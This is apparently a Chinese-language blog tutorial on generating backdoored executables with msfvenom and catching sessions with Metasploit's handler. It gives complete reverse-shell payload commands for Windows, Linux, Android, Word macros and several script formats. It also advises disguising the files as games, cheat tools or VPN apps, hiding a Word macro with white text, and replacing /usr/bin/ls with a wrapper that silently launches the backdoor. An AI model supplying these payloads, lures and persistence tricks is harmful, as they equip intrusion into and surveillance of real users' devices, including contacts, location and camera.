Msfvenom简介
Msfvenom主要用来生成带后门的软件。
Msfvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
Msfvenom参数介绍
查看Msfvenom自带的帮助说明:
简单说明一下各个参数的作用:
-l, --list <type>:列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
-p, --payload <payload>:指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-f, --format <format>:指定输出格式
-e, --encoder <encoder>:指定需要使用的encoder(编码器),如果既没用-e选项也没用-b选项,则输出raw payload
-a, --arch <architecture>:指定payload的目标架构,例如x86 还是 x64 还是 x86_64
--platform <platform>:指定payload的目标平台
-o, --out <path>:指定创建好的payload的存放位置
-b, --bad-chars <list>:设定规避字符集,指定需要过滤的坏字符,避免加密后无法使用。例如:不使用 '\x0f'、'\x00'
-n, --nopsled <length>:为payload预先指定一个NOP滑动长度
-s, --space <length>:设定有效攻击荷载的最大长度,就是文件大小
-i, --iterations <count>:指定payload的编码次数
-c, --add-code <path>:指定一个附加的win32 shellcode文件
-x, --template <path>:指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, --keep:保护模板程序的动作,注入的payload作为一个新的进程运行
-v, --var-name <value>:指定一个自定义的变量,以确定输出格式
-t, --timeout <second>:从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-h,--help:查看帮助选项
可以看一下当前工具有哪些payload:
平台集成的payload还是非常丰富的,列表从上翻到下也要一会功夫。
不逐个演示参数的作用了,直接来实操吧。
Msfvenom对于Windows进行渗透
生成一个在32位Windows系统可执行且带病毒的文件:
生成命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -a x86 --platform Windows -f exe > reverse_tcp.exe
文件生成后就需要想办法将文件传给目标了,可以放到网站上,也可以邮件发过去,名字改成有点吸引力一些,或者伪装成游戏客户端之类的。反正最终目的就是让目标运行这个文件。
只要在LHOST有监听LPORT端口,在目标运行文件时,就能获取到session。至于怎么监听,可以是nc,也可以是Metasploit中的handler模块。
这里我使用handler模块:
这里使用的这个版本默认设置了一个payload,但不是我们需要的payload,切换一下:
看一下需要设置的参数:
有一个LHOST和LPORT,根据实际需要设置一下。
设置好参数就可以跑起来,开始监听了:
当目标执行了文件时,这里就会收到session:
比较奇怪的是这里收到的session不是一个。查了一些资料,没能解决这个问题,排查了防火墙和网络,不管了,反正其中有能用的session就行。
进入这个可用的session,就能在靶机上执行命令了:
Msfvenom对于Linux进行渗透
生成一个在Linux可执行且带病毒的文件:
生成命令:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=3333 -b "\x00\x0ff" -a x64 --platform linux -i 5 -f elf > reverse_tcp.elf
至于怎么将这个生成的文件传给目标Linux,这里就不详细说了,可以中间人攻击,或者文件放入一些正常软件中等别人下载(类似钓鱼,这也是为什么下载软件都要去官方下载的原因)。
还是要用Metasploit中的handler模块,但是payload需要切换一下:
看一下参数:
设置LHOST和LPORT:
之后就可以将模块运行起来:
等文件在目标主机上执行,就能收到session:
像上面这样操作其实在靶机上看是挺明显的,很容易暴露,被安全工程师注意到。
这里推荐一种方式,将带毒的文件嵌套到/usr/bin里面的常用工具中,比如将ls文件改个名字,然后再新建一个ls文件,再这个新的ls文件中调用原ls文件和带毒的文件,例如这样:
#! /bin/bash
/usr/bin/ls_bak
/root/reverse_tcp.elf & >& /dev/null &
这样靶机的操作者使用ls的时候,还是能获取到一样的内容,但是再后台会同时发起连接。
Msfvenom对于Android进行渗透
生成一个在Android可执行且带病毒的文件:
生成命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=3333 --platform android > reverse_tcp.apk
可以将文件伪装或者嵌入游戏外挂,或者一些梯子,放到网上,等用户自己下载。
还是要用Metasploit中的handler模块,切换payload:
查看一下参数:
参数由于前面设置过了,这里保留了。
执行模块:
当靶机中运行带毒文件时,就能收到session:
这里有很多Android特有的命令,比如获取通讯录、获取定位、打开摄像头之类的:
其实这些已经涉及到个人隐私了。
Msfvenom伪装成word进行渗透
前面介绍了对于Windows进行渗透,直接使用一个exe的可执行文件,但是现在大家的安全意识普遍都有了提升,不太会执行未知、可疑的exe。这里再介绍一种将病毒伪装成word文档,这样被打开的概率就会大一些了。
先准备一个word文档:
生成需要的宏文档:
生成命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=3333 -a x86 --platform Windows -e x86/shikata_ga_nai -i 5 -f vba-exe
生成的宏文档分成两部分,分别是MACRO CODE和PAYLOAD DATA。
打开准备的word文件,新建一个宏:
将前面生成的MACRO CODE复制到新建的宏里面:
保存后,回到word编辑界面,将前面生成的PAYLOAD DATA复制进来:
编辑完成后保存。至于这个word文档怎么发送给目标机器,这里就不展开了。
继续使用Metasploit中的handler模块,切换payload:
设置参数后运行,当有用户打开前面制作的word,并成功运行那个hong后,就能收到session。
我再Windows+wps上尝试了一下激活宏,没有连接目标主机,metasploit也没获取到session。不清楚是Windows系统做了防护还是wps进行了识别,有知道原因的同学请评论告知一下。
有同学可能会说上上面这样制作宏文件一看就知道有问题,一点隐蔽性都没有。其实可以改变一下字体,比如改成白色,然后顶部加一些图片,让目标在看图片时消耗一些时间,以便在这段时间里完成后门设置。
其他
Msfvenom还能生成很多其他格式的带毒文件,比如mac、php、asp、python等,这里简单列举一下生成命令:
# mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
# php
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
# asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.asp
# aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
# jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
# python
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
# perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
总结
Msfvenom是一个功能非常丰富的工具,但是通过Msfvenom生成的文件获取session其实只是第一步而已,后面还需要做很多后渗透测试的工作,往往需要和Metasploit一起使用。